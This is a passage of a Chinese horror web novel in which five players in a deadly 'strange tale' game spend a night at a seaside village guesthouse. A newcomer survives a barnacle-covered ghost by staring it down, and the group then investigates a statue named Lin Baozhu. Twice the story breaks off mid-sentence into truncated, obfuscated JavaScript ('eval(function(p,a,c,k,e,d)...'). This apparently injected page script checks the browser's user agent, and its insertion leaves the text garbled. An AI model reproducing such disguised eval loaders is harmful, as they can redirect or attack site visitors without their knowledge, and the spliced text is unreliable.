“我跟七尾一屋。”陈昊立刻接话。 张睿呼吸一下急促起来:“那我怎么办?我可是新人!” 七尾皱了皱眉,似乎有些为难:“一个人也不会有问题。” 张睿情绪一下崩了:“不行!你们怎么能抛下我,你们是想让我死吗?屋子可以住三个人,我住地上,我住厕所也可以!能不能不要抛下我!”他越说越激动,呼吸紊乱得厉害,胸口剧烈起伏,像下一秒就会窒息。 孟晗有些烦,她不喜欢这种歇斯底里的哭喊,直接站起身,准备拿钥匙离开。 然而下一秒,张睿迅速抓住瑶瑶的手:“你救救我!我和你们住,我和你们住好不好!不要抛下我一个人,不要……” 瑶瑶被吓了一跳。 还没来得及挣脱。 一道声音已经从上方落下来。 “松手。” 张睿却莫名后背一凉。 他抬起头。 黑暗里,孟晗正低头看着他。 好冷。 那个感觉,就像被鬼盯上了一样。 他手指一颤,下意识松开了瑶瑶:“我……我……” 孟晗:“关好门,关好窗。我们走。” 孟晗和瑶瑶消失在黑暗中。 分房结束。 七尾和陈昊一间,瑶瑶和孟晗一间,无论张睿如何哭嚎,他始终自己一间。 三人都默契的没有开灯,甚至孟晗和瑶瑶也不打算洗澡。 和传统民宿一样,屋内很干净,墙壁被海风腌入咸味。 两张单人床,一个床头柜,以及一张书桌和一个电视。他们没有判断这屋子里有没有通电,任何不自然的光源可能都会招致诡异。两人检查了被反锁的门,已经关严实的门窗,上床休息。孟晗对这张床还算满意,她选择了靠窗的那张,虽然不能开窗户,但感觉空气清新一些。 “我以为你不会和我一起。”孟晗说。 瑶瑶愣了:“啊?” 孟晗:“我是一个新人。” 新人有好处,也有坏处。坏处是新人毫无经验,如果这是一场恐怖游戏,会横冲直撞招致不必要的麻烦,也很难控制自己的情绪。但也有很好的地方,一个新人相当于一张白纸,以及一个炮灰。 瑶瑶抿了抿嘴,她自己都觉得不好意思,耳根微微发热:“因为我信任你。” 信任是一个很玄妙的东西,口说无凭。 她说完自己都觉得有些不好意思,像一只手足无措的小白兔,眼睛都不知道应该往哪里瞟。 初见孟晗,她觉得是一个冷漠的人。近距离同屋才发现,并不是、准确的说并不贴切。她就像一个黑洞,源源不断的吸收着自己的负面情绪,靠近一点就舒服一点。 比如现在,她的手已经不抖了。 孟晗挑了挑眉。她和瑶瑶的接触并不多,不过可能是因为相同性别的会产生亲切感,对这个女孩子的印象还不错。 软绵绵的。 瑶瑶咽了口唾沫,从兜里掏出来一个纸做的小玩意——东南西北。 孟晗见过这种流行于小时候的折纸玩具,折纸上标记着四个规则四面体,上面用歪歪扭扭的黑笔写着“东”、“南”、“西”、“北”,将手指伸进纸下面撑开,可以看见写在折纸内侧的文字,比如惩罚或者奖励。 借着极其微弱的光亮,她凝视着瑶瑶手中小小的玩具:“不要告诉我这是道具。” “是。”瑶瑶说,“这是游戏的规则之一。” “说说。” 瑶瑶:“这是我第四次进入怪谈,我挺幸运的,活了这么久。七尾没有告诉你全部的规则,当通关怪谈后,怪谈会根据每个人的探索程度和贡献份额分发【泉】,也就是货币。【泉】可以用来兑换道具。这是我的道具,叫【东西南北】,每次任务最多可使用两次,这是我第一次使用。” “东西南北为外层,生、死、休、杜、景、死、惊、开为内层。我可以用它查看某个方位的幸运值,避开死亡危险。” “我当时打开了【南】角,上面标注着【生】,是吉门,所以我选择跟你。你能活下来的。” 瑶瑶说的很诚恳,不过手缩了缩。 她似乎有点害怕孟晗会抢走自己的道具,不过也觉得自己杞人忧天,她不太愿意怀疑一个相同性别的人,更何况是新人。 孟晗笑了笑:“收好吧。所以,我们要在这里存活五天?” “或者,怪谈被解决。”瑶瑶说,“上一次我参加的怪谈是‘让我看看我的脸’,要求存活时间是10天,10天太长了,人在前三天的时候就死了一半,死者的脸都被扒走了。后来,有个红头发的姐姐找到了怪谈的突破口。怪谈的源头是一个没有脸的人,找到夺走她面孔的面具安装在自己身上,这样她就可以看到‘自己的脸’。所以,怪谈找到了源头,结束了,这样奖励的份额也会多一些。” 孟晗想了一会儿:“怪谈是什么?” 这是一个很复杂的问题,虽然看起来很简单。 瑶瑶不知道如何回答:“平行于现实世界的另一个世界,剩下的我也不知情。” “纸人呢?” “是怪谈开始的提示谜语,指向答案,不会骗人。” 孟晗回想起所谓“生路”提示的纸人。 那场景不像游戏。 更像某种……仪式,一种宣告怪谈正式开始的仪式。纸人在整个怪谈里只会出现一次,像完成使命后,被某种看不见的力量彻底抹除。 瑶瑶好像想到什么,补充说道:“还有一件事,规则。整个怪谈围绕规则,没有触犯规则鬼就无法杀死你,反之亦然。” “谢谢你,那我们交换一个秘密。”孟晗笑了。 这是瑶瑶在这个副本中第一次看见孟晗笑,很温婉,却莫名觉得,她眼底的光锋利得吓人。 “什么?” “村长在撒谎,他预料今晚会死人。” 但是,不一定死人。 看张睿的运气了。 孟晗看向窗外,月亮被云层遮住,天色暗淡无光,只有黑暗。 *** 三层小楼二层有两个房间,三层有一个房间。 张睿和孟晗她们的房间分别在楼梯两侧,隔着一条昏暗狭窄的走廊。陈昊则和七尾住在最顶层。和大佬七尾住在一起,陈昊安心很多。 能跟一个“老玩家”待在一起,存活率至少能翻一倍。作为“跟班小弟”,陈昊仔仔细细检查了房间,等待七尾发话。 七尾给人的感觉太镇定了,不像是进入了怪谈,好像在玩什么游戏。陈昊借着窗外惨淡的月光,把屋子里里外外检查了三遍,连床底都趴下去看了,确认没问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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屋子里很暗,但床边的窗帘之下隐隐约约透出来红色的光亮,像楼下有人点了火。 孟晗靠近窗户,从窗帘侧边悄悄掀开了一个角。 小楼建在斜坡上,从这里正好能俯瞰下方的海滩。海离得很近,大概只有几十米。夜色浓重,那片暗红色光亮,正来自海滩中央的一簇篝火,火边站着五个人。五个人围成一圈,手拉着手,在黑夜里缓慢跳舞。 橘红色火焰映在他们脸上,把人皮肤照得发红,像一层快要融化的蜡。 他们跳舞、歌唱,声音含糊而古怪。 像一圈火柴人。 孟晗眯起眼睛,仔细打量。 火光把他们的影子拖得很长,火影子落在沙滩上,扭曲、蠕动,细长得像一条条黑色海肠。 他们迈开的每一步都是等距离的,以相同的动作欢呼,就像复制粘贴。 孟晗站在暗处,按照光线折射,外面的人不可能透过窗户看见她。可不知道为什么,她心里仍旧升起一种很不舒服的感觉,像被什么东西盯住了。 忽然,目光一顿。 那五个人里,其中一个穿着黑色短袖和牛仔裤。 身形、发型、甚至站姿,都和她一模一样。 五个人,难道代表了他们五个玩家? 复制人? 越想越离谱,孟晗的目光粘在了五个人身上。 一眨不眨。 突然,跳舞的脚步停了。 他们仍然手拉手,身体一动不动,像发条中止了。 然后,那个和孟晗穿着一模一样的人,脖子发出“嘎吱”一声轻响。 透过窗户、窗帘的缝隙,看向了孟晗。 孟晗蹙眉。 这东西、是人? 4. 规则 篝火的光,一寸寸描摹着那“人”的脸。 在同一瞬间,孟晗的目光与海滩之人相对。 不是自己的脸。 惨白、浮肿,像是在海水里浸泡了太久,皮肤几乎已经烂没了。整张面孔上密密麻麻附着着藤壶似的钙化物,有些像贝壳嵌进肉里,有些则像礁石上的珊瑚,层层叠叠地生长。空空的眼眶没有眼珠子,只有两个漆黑的窟窿,像两枚钉死在脸上的黑纽扣。 它抬起手,惨白僵硬的手指,穿过火光,遥遥指向二楼的窗户。 一阵细细的、黏腻的声音,忽然钻进耳朵。 被——发——现——了——哦—— 偷看是不好的! 她猛地侧身,避开窗边。 被看见了?明明那么远,而且窗帘只打开了不到五厘米的缝隙,从外面根本看不见。这是和复制人心有灵犀吗?本人和复制人会产生相互吸引?那么如果按照自己的性格,现在已经是赶来的路上了。她再次回头确认,但海滩上没有人影,甚至连燃烧的灰烬都没有。 玻璃倒映着她略显苍白的面孔,黑云隆隆。 刚才发生的事情绝对不可能是幻觉,那么只有可能这些人集体消失来找自己了。孟晗看向门口,后背贴在墙壁上。周围灯都关着,但对方应该知晓自己的位置。她看了眼旁边睡着的瑶瑶,用脚推了一下。被子里的瑶瑶没有发出任何声音,彻底睡死。孟晗判断,现在被危险盯上的只有自己。偷窥他们会被因为触犯规则死亡吗? 不会。孟晗几乎同时就可以判断出来。在怪谈中,如果想要描摹出故事的全貌,偷窥是必然行为。如果造成死亡,那么这个怪谈可以设置更容易的死亡规则。自己现在就是薛定谔的猫,在生与死之间,等待对方下一步动作。以不变应万变,动作越多,越容易出错。 就在此时。 ——沙沙。 ——沙沙。 像湿漉漉的东西,在地面摩擦。 她盯着海滩旁那条通往村子的窄路,正准备继续寻找痕迹,下一秒,那声音,骤然从她背后响起。 从她背后的方位看,是民俗大门的所在位置。大脑几乎瞬间展开整栋楼的结构。二楼房间外是狭长走廊,走廊尽头有窗,窗户正下方才是民宿大门,中间隔着墙壁、楼层,还有十几米距离。 那声音来得很快,从海滩到楼下不过用了10秒。 孟晗下床,盯着门口。 ——沙。 ——沙沙。 越来越近。 孟晗不是一个善于逃跑的人,更何况从窗户跳出去不是一个安全选项。她不会逃跑,听着声音一点点爬上楼梯,走到二层。对方先去了右边,在张睿的房门外转了一圈,那声音黏黏糊糊,潮潮腻腻,夹杂着水渍。然后,又往左走,逗弄小孩般,停在了她的门口。 与此同时,走廊的灯光开了。 成为整个村子唯一的光亮。 门缝之下并没有影子。 ——咚。 ——咚咚咚。 门凭空响了,夹杂着女孩子的笑声。孟晗听着,竟然有点想笑,更加确定自己不需要离开,只需要安安静静等待客人到来。声音从门口绕到了厕所。这人在围着她的房间转圈,她所在的是二层,人不可能从外面敲击厕所玻璃。 难道这东西已经进来了? 吱呀。 下一秒,紧闭的厕所门开了。 恶臭扑面而来,不过敲击的声响还在继续,就像是在拍皮球的小朋友,声音围绕着她的房间转了个圈,最后绕到了、自己的背后。 孟晗回头。 啪嗒。 窗帘脱扣了一个。 第二个。 第三个。 孟晗抬头,哗啦一声手上用力,直接将窗帘布拽了下来。她喜欢当破坏游戏的那个人,也不喜欢躲藏在黑暗逃避。当窗帘豁然落下的时候,孟晗看清楚了,是一个湿漉漉的,浑身长满白色贝类的女人,或者说是女鬼。 眼睛像微缩的死鱼,牙齿尖锐长满苔藓。在女鬼布满藤壶和贝壳的缝隙间,被刻满了红色的咒纹,如同龟纹,纹路从胸前蔓延至胳膊、小腹、四肢。像被用小刀一点点刻上去,密密麻麻,扭扭曲曲,每刻一笔,因为人会挣扎,刀会刻歪,最后整片皮肤变得血肉模糊。 她脖子上有一个大的血窟窿,哗啦往外流沙子。 孟晗脑袋歪了一下,她并不害怕,也没有太多情绪,反而有点好奇。明明身高略矮,看起来像瘦小的水猴子,但为什么会站在二层的窗户外?目光掠过女鬼,迅速往下一瞥。 女鬼脚下是一个人的肩膀,一具没有头的男尸。 男尸是女鬼的傀儡娃娃,女鬼抬手,男鬼敲击。 ——咚。 对方应该是进不来,否则不会引诱自己逃跑出去。人在恐惧之下会做出符合生理本能的冲动,幸好孟晗没有这样的冲动。孟晗靠近了一步,她在挑衅,对方无法伤害自己,也无法靠近。 然而下一秒。 吱呀。 女鬼的手突然撑在了玻璃上,向右侧移动。 哗啦哗啦哗啦。 孟晗挑眉,看着窗户被打开了一个小小缝隙,窗户被打开了。刚才所有判断的一切都被推翻,她几乎可以闻到女鬼身上腐烂的海带味,如同水蛭的头发滴落着黑色液体落窗台上。 自己应该不会想错,否则她现在只是一具尸体。对方的目的是让她逃跑,或者离开房间,需要她遵循生物的本能。 孟晗目光开始变得犀利,仿佛才是那个盯着猎物的人。女鬼没有现在杀死自己,证明她不能。瑶瑶提到过一个关键字——规则。 如果鬼发现了她,盯上了她,想要杀死她,那么前提是她触犯了规则。都到现在了,现在鬼还没动手,有一个可能——她目前没有犯规,鬼杀不掉她。否则,早在自己应答鬼的时候,她就已经死了。她现在只需要维持不变,仅此而已。这就是她和女鬼都必须遵守的规则。 女鬼也看着她,目光变得轻蔑、怨毒,黑色头皮从头顶剥落,一片一片掉在窗台上,窗台开始咕嘟咕嘟冒起水泡。她翘起的嘴角咧的很大,抽动的肌肉和藤壶相互摩擦,发出嘎达嘎达的声响。 四目相交间,女鬼消失了。 目光所及之处,什么都没有了。 孟晗倏然浑身一抖,听见有人在喊自己。 “孟晗!” “孟晗!” 瑶瑶声音传来。 “你醒了!” 孟晗睁眼,发现瑶瑶撑在她的后背,把她推回了床上:“你梦游了!” “现在几点?”孟晗嗓子里似乎有沙子。 “一点五十四。”瑶瑶说,“你刚才突然站起来,然后窗帘掉了,你一直看向窗外。我怎么叫你你都不听,我还以为你中邪了!” 刚才瑶瑶没睡着,时间也没有到达两点,一切都是在做梦。但是,窗帘真的掉了,窗台上存在水液,证明刚才不全是幻觉。 那个女鬼拥有隔绝现实的能力。 孟晗在黑暗中搜索着瑶瑶的瞳孔,笑出了声:“鬼来了。” “什么时候?”瑶瑶吓了一跳。 “刚才。” 瑶瑶心有余悸,为什么自己刚才什么都没看见?鬼来了,但孟晗躲过去了?一个新人居然能做到这个地步吗?她打量着孟晗,往后挪了挪。会不会孟晗现在已经被鬼替换了?那自己岂不是要危险了?后背开始冒冷汗,她还没见过在第一晚遇见鬼还存活的新人。她和孟晗并不熟,无法判断眼前的还是不是人,但她刚要开口,孟晗靠着窗说话了:“怀疑我?” 瑶瑶抿着嘴没说话。 “有鬼每晚只杀一人的规则吗?” “没有。” “如果有的话,我出事,你能活下来。如果没有的话,我出事,现在你已经死了。”孟晗的语调在黑暗中听起来有点冷漠。 瑶瑶低着头,确实是这个道理。一间屋子的两个人风险一致,尤其是在刚刚进入时期,因为所有用户所拿到的信息都是一样的,危险系数是相同的。自己刚才确实草率了,好不容易找到了队友,她还不想产生隔阂。 正要开口,孟晗说:“你继续休息吧,我不打算睡了。” 她需要保持思考,而不是进入梦乡。 “你、还好吗?”瑶瑶有些忐忑。 “嗯。”黑暗中只传来孟晗淡淡的声音。 瑶瑶抿了抿嘴,摸上自己的【东南西北】寻求安慰,但最终没有打开查看。在怪谈中,盲目信任是很危险的情绪,只有弱小的人才会把安危依附在另一个人身上。但孟晗说的完全正确,她现在别无选择,只有相信孟晗没有被鬼替代。 “晚安。” “嗯。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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张睿站在门口,看见七尾后嚎啕大哭:“我还活着活着!” 七尾怔了一瞬。 没人死?不应该啊。 他与陈昊对视一眼,陈昊目光也逐渐变得惊恐起来。 一般情况,在怪谈规则尚不明朗的时候,第一夜即使再小心谨慎,但死亡几率超过60%,不可能这个副本内两个新人,一个都没死。还是说,这两个人已经死了? 张睿不知道发生了什么,看着神色各异的四人,小心翼翼问:“怎、怎么了?” “没什么,一起去找点吃的。”七尾说。 “哦哦哦好好好,我上个厕所。”张睿原本吓得一夜都没有合眼,没想到自己居然真的闯过了第一关,一晚上都没去厕所,憋得浑身难受。普通需求用矿泉水瓶就解决了,但拉肚子这种,让一个男人憋着不去厕所比杀了他还难受。 白天的阳光带来安全,厕所也变得敞亮。张睿上完厕所,浑身舒畅,如果一直这么简单就好了。 此时,院落内响起脚步声,村长也没有打招呼,送完早饭便松松离开,生怕和众人打了个照面。结果就是,孟晗几人只看到了村长的背影。然而村长还没走几步,直接被七尾拉住,拽了回来。村长心不甘情不愿,但又不好驳面子,灰着脸重新进屋。 村长:“干什么?” 七尾:“你没有要问的吗?” 比如,为什么四个人变成五个人。 村长:“我有什么要问的?难道是你们觉得民宿不干净,还是想威胁我少给我点钱。有些游客来了不习惯住海,你们昨晚睡得应该不错吧,这么早都起来了。” 七尾笑笑:“这里挺好的,但我们还不怎么了解。哪个景点人最多?” 村长说:“我们箱岩村啊,风景壮丽优美,是个半岛,有山有水。海上有雕塑公园,拍照很好看。我记得你们之中有一个摄影师对吧,你可以多拍拍风景照。有事找我啊,我先回去了。” 什么摄影师? 看着村长的背影,张睿想起来什么:“我那个背包里确实有一个单反,不会我就是摄影师吧?” 真的被孟晗言中了,每个人角色不同,那么从一开始,他们的危险系数也是不一样的。 5. 林宝珠 村长离开后,屋内却迟迟没人说话。 空气像被海水泡过,沉甸甸地压在人胸口。对于人类和动物来说,熟悉会带来安全感。但这是七尾第一次经历没有死人的怪谈,“常理”遭到了冲击,预示着会发生更可怕的事情。现在出现了两个情况,第一,昨晚是个平安夜。第二,鬼已经混进来了。即使是选项一的平安夜,仍然让人害怕,这很有可能是无人生还的前兆。因为这里的鬼,在想将他们一网打尽。 昨晚一定发生了什么,所以才会造成这样的局面。七尾眸色微沉:“你们昨晚怎么样?” 比起让猜疑扩散,现在更重要的是稳住人心。他能想到的显而易见的推理,其他人也可以推断出来。 张睿摇头:“什么都没有啊,就昨天晚上我听见了很奇怪的声音,沙沙沙,沙沙沙。应该是风的声音。我开始还以为鬼来了呢,差点吓嘎了。幸好没事发生。” 孟晗眉梢一挑,确定昨晚不是梦,就是现实。况且,她今天也在房间里发现了很多沙滩上的细沙。 陈昊:“我和七尾轮流守夜,什么都没听到。瑶瑶,你们呢?” 他好奇,总不可能一晚上什么都没发生吧?这可是出事几率最大的一天。 瑶瑶咬了咬下嘴唇,既然孟晗没开口,她也不会多嘴,她做不到把别人的秘密随便往外抖。 孟晗目光淡淡扫过众人。作为新人,她需要通过自己的经历,让这些老用户判断危险等级。 孟晗开口:“我见到鬼了。” “什么!”张睿差点跳起来。 孟晗:“就是你听到的沙沙声。” “……” “……” “你见到鬼,还活了下来?” 陈昊离孟晗远了一些,目光忐忑。 七尾脸上则是一副“果然如此”的表情,但眼底仍带着几分不可思议,似乎没想到孟晗遇到鬼还能活下来,甚至怀疑她是不是在撒谎。毕竟,这年头骗子不少。不过,他还没见过会撒谎的新人,自己的命都保不住,怎么可能还会想骗别人? “看起来是。”孟晗语气云淡风轻,“凌晨一点四十,我听见脚步声和敲门声,然后鬼出现在了窗户上,是个女的。” “然后呢?”七尾问。 这描述的也太普通了。这个孟晗真的是第一次进入游戏吗?七尾很确定,自己以前没见过她。最近怪谈死的人太多了,填充新人很正常。但是,这是七尾第一次摸不准一个人。 孟晗眨眨眼,显得有些无辜:“没了,它没有杀我。” 陈昊着急:“那一定是你做了什么没有触犯规则!” 孟晗反问:“规则?什么规则?” 陈昊和七尾似乎都默契的隐瞒了“规则”的概念,好像生怕新人不会犯错。所谓“规则”也是瑶瑶昨天晚上告诉自己的。如果她不知道这个怪谈里还有“规则”一说,撞鬼后解决问题的思路就不是这样了。 陈昊一时语塞,转而又解释道:“触犯了规则鬼才会杀死你,你好好想想,你做了什么?”他压根忘了昨天七尾根本没有说全信息,过了好几秒才反应过来孟晗在反讽。但已经顾不得这么多了,急不可耐知道如何面对女鬼存活,这才是重点。 孟晗忽然笑了。她似乎并不常笑,因此笑起来时,肩膀和发梢都会轻轻发颤。明明生得清甜漂亮,却莫名让人心里发寒:“我和鬼对视了。” “……” “下次你可以试试,这样做会不会触犯规则?” “……” 陈昊打了个哆嗦,忐忑看向七尾,在让他判断孟晗没有说谎。 瑶瑶虽然知道孟晗做了什么,昨晚第一时间两人已经交流过了,但想到一个新人和鬼对视,还是后知后觉害怕,如果是自己,很有可能就被鬼杀死了。 孟晗:“盯着她,仅此而已。” 陈昊眼睛转了转:“真的假的?”虽然他遗漏了信息,但又不是故意的,孟晗犯不着这样记仇。 孟晗:“因为你隐瞒信息,所以害怕我也说漏什么?” 做贼的人才会心虚。 七尾出来打了个圆场:“是我昨天不好,着急进入怪谈所以少说了几句,实在不好意思。厉鬼杀人要遵守规则,找到规则我们就可以避免死亡,即使厉鬼近在眼前,也无法杀死我们。” 孟晗又笑了笑:“我已经知道了,多谢。” 完全不在意七尾刻意的隐瞒。 张睿左右看看,如果昨晚鬼找的是他,估计自己已经是一具尸体了。虽然就五个人,但都不知根知底,这种有效信息藏着掖着,生怕队友不死在自己前面挡了灾祸。 从昨晚开始,他就意识到了——在这里,新人不会得到保护。相反,新人是最廉价的炮灰。 针锋相对间,七尾依旧神情坦然:“这个怪谈里,不存在杀队友换奖励的情况。” “人活着,才有价值,才能提供线索。” “如果不团结,一个怪谈都过不去。” 孟晗:“哦。” 得知昨晚真的有人从鬼手里活了下来,众人的信心明显涨了不少。队伍一共只有五个人,其中还有两个新人,于是几人决定暂时不分组,而是一起行动。即便已经知道,“盯着鬼”或许能够避免被杀,但没人敢保证这里只有一只鬼,并且鬼只会遵守着一个规则。 怪谈里的信息越多,活下来的概率才越高。 箱岩村前临海,后靠山。村长之前提到过村里有一处雕塑公园,众人决定先过去看看。 村里的岔路很多。 石板路两旁摆满了泥塑小人,一个个有鼻子有眼,直挺挺立在那里。时间久了,泥塑表面被海风侵蚀得斑驳发灰,裂开细细密密的纹路,像老人干瘪的皮肤。 “怎么这么多泥塑?”张睿忍不住问。 陈昊扫了一眼:“不清楚,可能是什么风俗。” 他停顿片刻,又补了一句:“我以前经历过一个怪谈。里面所有木雕,都是死去同伴变成的。那个怪谈最后死了十个人,所以,也多出了十座会动的雕像。” 张睿脸色顿时白了,越看那些泥塑越觉得瘆得慌:“这不会也是吧……” “别胡说!”陈昊低骂了一声。 海是深蓝色的。颜色很沉,不透亮,像一大块泡久了的脏玻璃。海面上看不到鱼群,也没有海鸟,沙滩只有零零散散几枚碎贝壳。 除了那些古怪的村民,这地方几乎没有活物。 现在是早上八点。 靠海吃饭的村民已经陆续出海,一艘艘改装过的小渔船漂在灰蓝色海面上。阳光却依旧冷冷的,没有半点暖意。 沙滩上也看不见篝火、脚印或者生活痕迹。 整个村子安静得像死了一样。 箱岩村之所以叫“箱岩”,是因为这里的岩石全都是诡异的黑色长方体。远远望去,像一只只被遗弃在海边的巨大石箱。岩石群杂乱分布,有些半埋进沙滩,有些浸泡在潮湿海水中,彼此交错,像一道天然形成的围墙。 潮水不断撞击岩石。 “轰——” 沉闷的回响一阵接一阵,似乎有什么庞大的东西,正蛰伏在海底缓慢呼吸。 七尾边走边问:“孟晗,你昨晚见到的女鬼长什么样?” “身上长满了藤壶。”孟晗道,“你有头绪?” 七尾摇头:“暂时没有,不过凭借经验来看,荒村女鬼一般有两个可能的背景故事。冥婚或者重男轻女,因为这里靠海,所以也会出现祭海等背景。”他在有意示好。在怪谈中,实力是“硬通货”,美貌、金钱或者在现实中会被赞许的优良品格都不值一提。所有人、所有行为只有一个目的——离开这里。 孟晗没说话,看向远处。 那几块巨石近看比想象中更大,一共有五座,围成半圆,几乎称得上奇景。 可再靠近一些,众人才发现,那根本不像天然岩石。 表面虽然已经石化发黑,但仔细看,更像钢筋水泥浇筑出的巨大桥墩。只是经过长年海风侵蚀,才变成如今的模样。上面长满湿滑的青苔,还挂着早已干枯发黑的海带,浸在海里的部分则密密麻麻附着海螺和藤壶。 陈昊皱眉:“这看着像人工景观啊。我以前去过一个海边公园,那里的假山和这玩意儿差不多。” “搞半天,根本不是天然巨石阵?” 瑶瑶伸手摸了一下。 岩石冰凉。 那种冷意甚至不像石头,更像摸到了尸体。 五块黑色巨岩围成一个巨大的囚笼,而囚笼正中央,赫然立着一尊少女雕像。 没人懂雕塑材料,只能看出它表面原本涂着彩绘,如今却已经大片剥落,只剩下一层腐朽灰白。 少女的脸也模糊不清,没有眼睛。只有两个黑漆漆的凹洞,恐怖谷效应让人心里发毛。张睿想起那些水泥里封尸体的都市传说。 雕像立在距离海面两米左右的位置,也是整个巨石阵的中心。 孟晗蹲下身,从下往上打量。雕塑表面遍布细小气泡,密密麻麻,像有什么东西正从里面慢慢鼓出来,似乎雕塑内部藏 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众人回头。 只见张睿脸色惨白,牙齿都在打颤:“它、它动了!她的裙子动了,里面绝对有东西。” 刚才只有他站在雕塑的背后。 孟晗倏然起身:“哪里?” 张睿吓得拉住陈昊:“我看见,她的裙子好像鼓起来了!” 陈昊被张睿吓了一跳,低骂:“别一惊一乍的!” 也不知道张睿看到的是不是幻觉,张睿这个性格早晚会把别人害死。 孟晗转而去看七尾。 七尾沉默不语。 孟晗:“说说?” 七尾:“……” 瑶瑶凑到孟晗旁边,用手臂搓了搓肩膀。 有点冷,不是气温变低的冷,是那种入骨的阴气涔涔。她轻轻撞了孟晗一下,点点头。刚才她也看见了,不止是雕塑的裙子,雕塑的眼睛也鼓起来了一分:“会不会雕塑能活过来啊?” 问题就出在这个林宝珠身上,如果像两人所说,那么这雕像白天立在岩石中,晚上可以化为厉鬼随意走动。那么,村中的其他泥塑是不是也藏着索命厉鬼?或者已经死掉的村民化成了雕像? 今天从民宿到海边,路边少说有三四十个,难道死了这么多人了?五个用户是打不过这么多鬼的。 瑶瑶低声道:“泥塑有时候会被拿来挡煞,当替身。有些地方确实有摆人像的习俗,闽南那边路边也经常能看到小神像。”她努力控制住心里腾升的恐惧,在怪谈中,恐惧会让人做出错误的判断。不过好在他们又有了心方向,可以早点理清全貌。 一行人返回村庄,路上正好看见昨日偷窥他们被发现的一家三口。女主人在房屋门口晒鱼干,孩子在玩贝壳。女人没有看他们,反而孩子的眼睛一直盯着他们看,圆溜溜的,像两个桂圆核。 刚一见到他们,小孩的嘴巴就上了发条般一张一合。 “一” “二” “三” “四” “五” “五个” “五个” 又在数数。 众人停下脚步,齐刷刷凝视着小男孩。 五代表了什么? “你数什么呢?”陈昊弯腰。 小男孩打了个嗝,滴溜溜看了众人两眼,突然咧嘴一笑,一溜烟跑没了。 “……喂!” 陈昊只能看向女人:“您好,我们想打听件事。” 女人慢慢转过头,眼神空空的,没有一点活人的气息。 “什么事?” 陈昊咽了咽口水:“请问,林宝珠是谁?” 话音刚落。 女人的表情骤然变了,蜡黄的脸像纸一样绷紧,眼中浮现出极深的恐惧。 “林——宝——珠——” “你们怎么知道林宝珠?!” 她声音一下拔高,尖得刺耳。 陈昊:“巨石阵那边有雕像,下面写着名字。” “雕像……”女人像忽然意识到了什么。 下一秒,她的脸颊肌肉开始疯狂地抽动,上下牙齿发出咯咯咯咯的敲击声。 “喂!”陈昊吓了一跳。 女人浑身都在发抖,看起来要散架了。 她死死盯着几人,嘴唇哆嗦:“来了……” “它来了……” 6. 古宅 张睿被女人的反应吓了一跳:“你在说什么?什么东西来了?” “来了……来了……又来了……”女人像魔怔了一样,嘴里翻来覆去只剩这一句话,“这才几年啊……不可能……这才几年……她不应该现在出现的,我们至少还有几年的时间啊,为什么会突然出现,怎么会这样怎么会这样!” 她声音越来越尖,眼神空洞得吓人,像是根本没在看他们,而是在看某个其他人都看不见的东西。 孟晗游离在人群之外,显而易见是“林宝珠回来了”,但“又”字很明显,她会经常回来,这并不是第一次。面对林宝珠的回归,村民显然已经形成了一套自己的应对方式。 陈昊被她抓得生疼,忍不住甩了一下胳膊。女人这才猛地回神,转身就想往屋里跑。 可下一秒,孟晗一把攥住了她。 “那雕塑有问题?”女人身体骤然僵住,停顿了一下,她眼白里爬满血丝,嘴唇哆嗦得厉害,像下一秒就会彻底崩溃。 林宝珠的名字如同不能说出的诅咒,女人张了张嘴,嗓子里没发出声音。孟晗余光瞥见七尾眉梢微动,难道名字也是规则之一,不能提到这个女鬼的名字?但下一秒,女人的叫声把孟晗的思绪拉出来。 “那雕塑不是林宝珠!” “是海娘娘!” “那个雕塑一直都是海娘娘!怎么可能变成林宝珠那个贱女人!” 祭拜的神像换了人,女人愤怒恐惧交加。 “贱女人?”张睿愣了一下。 “别拦着我——我要去找村长!我要去找村长!!”她尖叫着甩开众人,跌跌撞撞冲进屋里,木门“砰”地一声关死。 门后很快传来压抑的哭声。 五人站在原地,一时间没人说话。 不过信息已经足够明确了。 箱岩村供奉的,原本应该是“海娘娘”——类似于妈祖一类的海神信仰。可现在,巨石阵中央的雕塑,却变成了林宝珠。也就是说,某种东西,取代了神。而林宝珠,大概率就是这次怪谈真正的核心。 返回民宿的路上,虽然村民对于林宝珠避而不谈,但打探到林宝珠家就在民宿旁边,几人很快决定过去看看。 虽然众人一起行动,但陈昊脸色不太好看,不入虎穴,焉得虎子。可直接往女鬼生前住的地方钻,他还是第一次。偏偏七尾坚持不分组,按照他的说法,在规则尚未明确前,落单的危险远比分头行动获得的收益更高。 陈昊只能咬牙跟上。 原本放晴的天空,不知何时重新阴了下来。一团团乌云从海平线尽头压过来,灰黑深沉,似乎要塌在海面上。 远处隐隐传来闷雷声,空气开始变得潮湿发黏,应该是要下雨了。 前往林宝珠旧宅的路上,孟晗停下脚步。她侧过头,透过两栋居民楼之间狭窄的缝隙,朝海边看了一眼。 瑶瑶:“你在看什么?” “啧” 瑶瑶顺着她的目光望过去,很快反应过来。 ——海水上涨了。 现在才上午十点,按正常潮汐规律,退潮和涨潮根本不该在这个时间。可远处那片海,确实正在缓慢往上漫,原本裸露在海面外的黑色岩石,已经被淹没了一截。海浪一下一下拍打过去,海平面逐渐变高。 “潮汐和月亮有关,咱们这次怪谈和月亮也有关系吗?”瑶瑶问。 七尾也皱起眉,按理说潮水是晚上涨潮,凌晨退潮,晚潮在中午,但现在十点钟海水上涨,虽然只高出了一点点,但有黑岩石作为参照物,还是很快就发现变化。除了月光这种只会出现在晚上的变量,他正在担心另一件事——这里会不会被海水淹了。 不过,那得是海啸吧。 村子里静悄悄的,似乎还没有人告诉村长林宝珠回来了的噩耗。 